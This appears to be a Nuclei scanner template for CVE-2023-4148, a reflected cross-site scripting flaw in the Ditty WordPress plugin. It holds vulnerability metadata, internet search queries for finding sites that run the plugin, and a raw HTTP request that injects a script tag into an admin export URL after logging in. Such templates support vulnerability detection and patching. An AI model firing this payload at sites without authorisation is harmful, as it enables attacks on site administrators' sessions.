Ditty < 3.1.25 - Cross-Site Scripting

id: CVE-2023-4148

info:
  name: Ditty < 3.1.25 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through unsanitized parameters and generated URLs to steal session cookies from high-privilege users including WordPress administrators.
  remediation: Fixed in version 3.1.25
  reference:
    - https://wpscan.com/vulnerability/aa39de78-55b3-4237-84db-6fdf6820c58d
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4148
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4148
    cwe-id: CWE-79
    epss-score: 0.00812
    epss-percentile: 0.52368
    cpe: cpe:2.3:a:metaphorcreations:ditty:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: metaphorcreations
    product: ditty
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ditty-news-ticker/
    fofa-query: body=/wp-content/plugins/ditty-news-ticker/
    publicwww-query: /wp-content/plugins/ditty-news-ticker/
  tags: cve2023,cve,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,authenticated,metaphorcreations,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=ditty&page=ditty_export&tab=export_ditty&"><script>alert(/XSS/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<script>alert(/XSS/)</script>") && contains(body_2, "ditty")'
          - 'contains(content_type_2, "text/html")'
        condition: and
# digest: 490a0046304402204bc31a171da643a3d51e63f1b4f8317fb07447dc4119bd5d610d12105c0387850220666f4f7e90c1cb9030a92d6eba20c65eb73810f739e2be385ff37d9b519a6d7b:922c64590222798bb761d5b6d8e72950